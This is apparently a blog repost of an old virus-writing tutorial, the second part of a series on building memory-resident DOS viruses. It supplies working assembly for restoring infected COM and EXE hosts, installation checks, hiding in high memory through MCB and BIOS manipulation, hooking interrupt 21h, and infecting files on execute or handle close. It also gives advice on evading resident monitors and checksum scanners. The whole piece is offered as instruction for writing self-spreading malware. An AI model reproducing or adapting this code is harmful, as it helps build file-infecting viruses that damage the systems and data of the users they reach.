..:: Virus Trojan etc ::..

Non Resident 2

Posted by: programmervb on: August 19, 2008

After reading  the the  Clumpy Guide, you should have at least some idea of
how to  code a  resident virus.  However, the somewhat vague descriptions I
gave may  have left  you in a befuddled state.  Hopefully, this installment
will clear the air.

STRUCTURE

In case  you missed  it the last time, here is a quick, general overview of
the structure  of the  resident virus.   The  virus consists  of two  major
portions, the  loading stub  and the  interrupt handlers.  The loading stub
performs two  functions.  First, it redirects interrupts to the virus code.
Second, it causes the virus to go resident.  The interrupt handlers contain
the code  which  cause  file  infection.    Generally,  the  handlers  trap
interrupt 21h and intercept such calls as file execution.

LOADING STUB

The loading  stub consists of two major portions, the residency routine and
the restoration  routine.   The latter portion, which handles the return of
control to  the original  file, is  identical as the one in the nonresident
virus.  I will briefly touch upon it here.

By now  you  should  understand  thoroughly  the  theory  behind  COM  file
infection.   By simply  replacing the  first few  bytes,  transfer  can  be
controlled to  the virus.   The  trick in  restoring COM files is simply to
restore the  overwritten  bytes  at  the  beginning  of  the  file.    This
restoration takes place only in memory and is therefore far from permanent.
Since COM files always load in a single memory segment and begin loading at
offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the
restoration procedure  is very  simple.   For example,  if the  first three
bytes of  a COM  file were  stored in a buffer called “first3″ before being
overwritten by the virus, then the following code would restore the code in
memory:

mov  di,100h          ; Absolute location of destination
lea  si,[bp+first3]   ; Load address of saved bytes.
; Assume bp = “delta offset”
movsw                 ; Assume CS = DS = ES and a cleared direction flag
movsb                 ; Move three bytes

The problem of returning control to the program still remains.  This simply
consists of  forcing the  program to  transfer control to offset 100h.  The
easiest routine follows:

mov  di,100h
jmp  di

There are  numerous variations of this routine, but they all accomplish the
basic task of setting the ip to 100h.

You should  also understand  the concept  behind EXE infection by now.  EXE
infection, at  its most  basic level, consists of changing certain bytes in
the EXE  header.   The trick  is simply  to undo  all the changes which the
virus made.  The code follows:

mov     ax, es                          ; ES = segment of PSP
add     ax, 10h                         ; Loading starts after PSP
add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov     ss, ax
mov     sp, word ptr cs:[bp+OrigSSSP]
sti
db      0eah                            ; JMP FAR PTR SEG:OFF
OrigCSIP  dd ?                            ; Put values from the header
OrigSSSP  dd ?                            ; into here

If the  virus is  an EXE-specific  infector but you still wish to use a COM
file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.
This will  be changed  by the  restoration routine  to PSP:0000  which  is,
conveniently, an int 20h instruction.

All that  stuff should  not be  new.   Now we shall tread on new territory.
There are  two methods  of residency.  The first is the weenie method which
simply consists of using DOS interrupts to do the job for you.  This method
sucks because  it is  1) easily  trappable by  even the  most primitive  of
resident virus  monitors and  2) forces the program to terminate execution,
thereby alerting  the user  to the  presence of the virus.  I will not even
present code  for the  weenie method  because, as  the name suggests, it is
only for  weenies.   Real programmers  write their  own residency routines.
This basically consists of MCB-manipulation.  The general method is:

1.   Check for prior installation.  If already installed, exit the virus.
2.   Find the top of memory.
3.   Allocate the high memory.
4.   Copy the virus to high memory.
5.   Swap the interrupt vectors.

There are  several variations  on this technique and they will be discussed
as the need arises.

INSTALLATION CHECK

There are  several different  types of installation check.  The most common
is a  call to int 21h with AX set to a certain value.  If certain registers
are returned  set to  certain values,  then the  virus is  resident.    For
example, a sample residency check would be:

mov  ax,9999h  ; residency check
int  21h
cmp  bx,9999h  ; returns bx=9999h if installed
jz   already_installed

When choosing  a value  for ax in the installation check, make sure it does
not conflict  with an  existing function  unless the  function is harmless.
For example,  do not  use display  string (ah=9)  unless you  wish to  have
unpredictable results  when the virus is first being installed.  An example
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
(ah=0bh).   Of course, if the check conflicts with a current function, make
sure it  is narrow  enough so no programs will have a problem with it.  For
example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
bx=3030h.

Another  method  of  checking  for  residency  is  to  search  for  certain
characteristics of  the virus.   For  example, if  the virus always sets an
unused interrupt  vector to  point to  its code, a possible residency check
would be to search the vector for the virus characteristics.  For example:

xor  ax,ax
mov  ds,ax     ; ds->interrupt table
les  bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp  es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr cs:origint21

When using this method, take care to ensure that there is no possibility of
this characteristic  being false when the virus is resident.  In this case,
another program must not trap the int 60h vector or else the check may fail
even if  the virus  is  already  resident,  thereby  causing  unpredictable
results.

FIND THE TOP OF MEMORY

DOS generally  loads all available memory to a program upon loading.  Armed
with this  knowledge, the  virus can  easily determine the available memory
size.  Once again, the MCB structure is:

Offset    Size Meaning
—— ——- ——-
0         BYTE ‘M’ or ‘Z’
1         WORD Process ID (PSP of block’s owner)
3         WORD Size in paragraphs
5      3 BYTES Reserved (Unused)
8      8 BYTES DOS 4+ uses this.  Yay.

mov  ax,ds     ; Assume DS initially equals the segment of the PSP
dec  ax
mov  ds,ax     ; DS = MCB of infected program
mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)

A simpler  method of  performing the same action is to use DOS’s reallocate
memory function in the following manner:

mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
mov  bx,0FFFFh ; Request a ridiculous amount of memory
int  21h       ; Returns maximum available memory in BX
; This is the same value as in ds:[3]

ALLOCATE THE HIGH MEMORY

The easiest method to allocate memory is to let DOS do the work for you.

mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int  21h

mov  ah,48h    ; Allocate memory
mov  bx,(endvirus-startvirus+15)/16
int  21h
mov  es,ax     ; es now holds the high memory segment

dec  bx
mov  byte ptr ds:[0], ‘Z’ ; probably not needed
mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB

The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the
deallocation of the memory area upon termination of the carrier program.

Of course, some may prefer direct manipulation of the MCBs.  This is easily
accomplished.   If ds is equal to the segment of the carrier program’s MCB,
then the following code will do the trick:

; Step 1) Shrink the carrier program’s memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub  ds:[3],(endvirus-startvirus+15)/16 + 1

; Step 2) Mark the carrier program’s MCB as the last in the chain
; This isn’t really necessary, but it assures that the virus will not
; corrupt the memory chains
mov  byte ptr ds:[0],’Z’

; Step 3) Alter the program’s top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

; Step 4) Calculate the first usable segment
mov  bx,ds:[3] ; Get MCB size
stc            ; Add one for the MCB segment
adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment.  Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov  bx,ds:[12h]

; Step 5) Build the MCB
mov  ds,bx     ; ds holds the area to build the MCB
inc  bx        ; es now holds the segment of the memory area controlled
mov  es,bx     ; by the MCB
mov  byte ptr ds:[0],’Z’ ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov  word ptr ds:[1],8   ; Mark DOS as the owner
mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

There is yet another method involving direct manipulation.

; Step 1) Shrink the carrier program’s memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub  ds:[3],((endvirus-startvirus+1023)/1024)*64

; Step 2) Mark the carrier program’s MCB as the last in the chain
mov  byte ptr ds:[1],’Z’

; Step 3) Alter the program’s top of memory field in the PSP
sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

; Step 4) Calculate the first usable segment
mov  es,word ptr ds:[12h]

; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor  ax,ax
mov  ds,ax
sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

This method  is great  because it  is simple and short.  No MCB needs to be
created because  DOS will no longer allocate memory held by the virus.  The
modification of the field in the BIOS memory area guarantees this.

COPY THE VIRUS TO HIGH MEMORY

This is  ridiculously easy  to do.  If ES holds the high memory segment, DS
holds CS, and BP holds the delta offset, then the following code will do:

lea  si,[bp+offset startvirus]
xor  di,di     ; destination @ 0
mov  cx,(endvirus-startvirus)/2
rep  movsw     ; Copy away, use words for speed

SWAP INTERRUPT VECTORS

There are,  once again,  two ways  to do this; via DOS or directly.  Almost
every programmer  worth his  salt has  played with interrupt vectors at one
time or another.  Via DOS:

push es        ; es->high memory
pop  ds        ; ds->high memory
mov  ax,3521h  ; get old int 21h handler
int  21h       ; to es:bx
mov  word ptr ds:oldint21,bx  ; save it
mov  word ptr ds:oldint21+2,es
mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
mov  ax,2521h  ; set handler
int  21h

And direct manipulation:
xor  ax,ax
mov  ds,ax
lds  bx,ds:[21h*4]
mov  word ptr es:oldint21,bx
mov  word ptr es:oldint21+2,ds
mov  ds,ax
mov  ds:[21h*4],offset int21
mov  ds:[21h*4+2],es

Delta offset  calculations  are  not  needed  since  the  location  of  the
variables is  known.   This is because the virus is always loaded into high
memory starting in offset 0.

INTERRUPT HANDLER

The interrupt  handler intercepts  function calls  to DOS and waylays them.
The interrupt  handler typically  begins with  a check  for a  call to  the
installation check.  For example:

int21:
cmp  ax,9999h  ; installation check?
jnz  not_installation_check
xchg ax,bx     ; return bx = 9999h if installed
iret           ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here

With this  out of  the way,  the virus  can trap whichever DOS functions it
wishes.    Generally  the  most  effective  function  to  trap  is  execute
(ax=4b00h), as  the most commonly executed files will be infected.  Another
function to  trap, albeit  requiring more work, is handle close.  This will
infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,
prechaining is  desired; others,  postchaining.   Use common sense.  If the
function destroys  the filename  pointer, then  use prechaining.    If  the
function   needs   to  be   completed  before  infection  can  take  place,
postchaining should be used.  Prechaining is simple:

pushf           ; simulate an int 21h call
call dword ptr cs:oldint21

; The following code ensures that the flags will be properly set upon
; return to the caller
pushf
push bp
push ax

; flags         [bp+10]
; calling CS:IP [bp+6]
; flags new     [bp+4]
; bp            [bp+2]
; ax            [bp]

mov  bp, sp     ; setup stack frame
mov  ax, [bp+4] ; get new flags
mov  [bp+10], ax; replace the old with the new

pop  ax         ; restore stack
pop  bp
popf

To exit  the interrupt  handler after  prechaining, use  an iret  statement
rather than a retn or retf.  Postchaining is even simpler:

jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler

When leaving  the interrupt  handler, make  sure  that  the  stack  is  not
unbalanced and  that the  registers were  not altered.   Save the registers
right after prechaining and long before postchaining.

Infection in  a resident  virus is  essentially  the  same  as  that  in  a
nonresident virus.   The  only difference occurs when the interrupt handler
traps one  of the functions used in the infection routine.  For example, if
handle close is trapped, then the infection routine must replace the handle
close int 21h call with a call to the original interrupt 21h handler, a la:

pushf
call dword ptr cs:oldint21

It is also necessary to handle encryption in another manner with a resident
virus.  In the nonresident virus, it was not necessary to preserve the code
at all  times.   However, it  is desirable to keep the interrupt handler(s)
decrypted, even  when infecting.   Therefore,  the virus  should  keep  two
copies of  itself in  memory, one  as code  and one as data.  The encryptor
should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the
interrupt handler(s)  alone.   This is  especially important  if the  virus
traps other interrupts such as int 9h or int 13h.

A THEORY ON RESIDENT VIRUSES

Resident viruses  can typically  be divided  into two  categories; slow and
fast infectors.  They each have their own advantages and disadvantages.

Slow infectors  do not  infect except in the case of a file creation.  This
infector traps file creates and infects upon the closing of the file.  This
type of  virus infects  on new  file creations  and copying  of files.  The
disadvantage is  that the  virus spreads slowly.  This disadvantage is also
an advantage,  as this  may keep  it undetected  for a long time.  Although
slow infectors sound ineffective, in reality they can work well.  Infection
on file  creations means that checksum/CRC virus detectors won’t be able to
checksum/CRC the  file until  after it  has been  infected.   Additionally,
files are  often copied  from one  directory to  another after testing.  So
this method can work.

Fast infectors  infect on  executes.   This type  of virus will immediately
attack commonly  used files,  ensuring the continual residency of the virus
in subsequent  boots.   This is  the primary  advantage, but it is also the
primary disadvantage.   The  infector works  so rapidly  that the  user may
quickly detect  a discrepancy with the system, especially if the virus does
not utilise any stealth techniques.

Of course,  there is  no  “better”  way.    It  is  a  matter  of  personal
preference.   The vast  majority  of  viruses  today  are  fast  infectors,
although slow infectors are beginning to appear with greater frequency.

If the  virus is  to infect  on a  create or  open, it  first must copy the
filename to  a buffer,  execute the  call, and  save the handle.  The virus
must then  wait for  a handle close corresponding to that handle and infect
using the  filename stored  in the  buffer.  This is the simplest method of
infecting after a handle close without delving into DOS internals.

IF YOU DON’T UNDERSTAND IT YET

don’t despair;  it will  come after  some time and much practise.  You will
soon find  that resident  viruses  are  easier  to  code  than  nonresident
viruses.   That’s all  for this  installment, but  be sure to grab the next
one.

Leave a Reply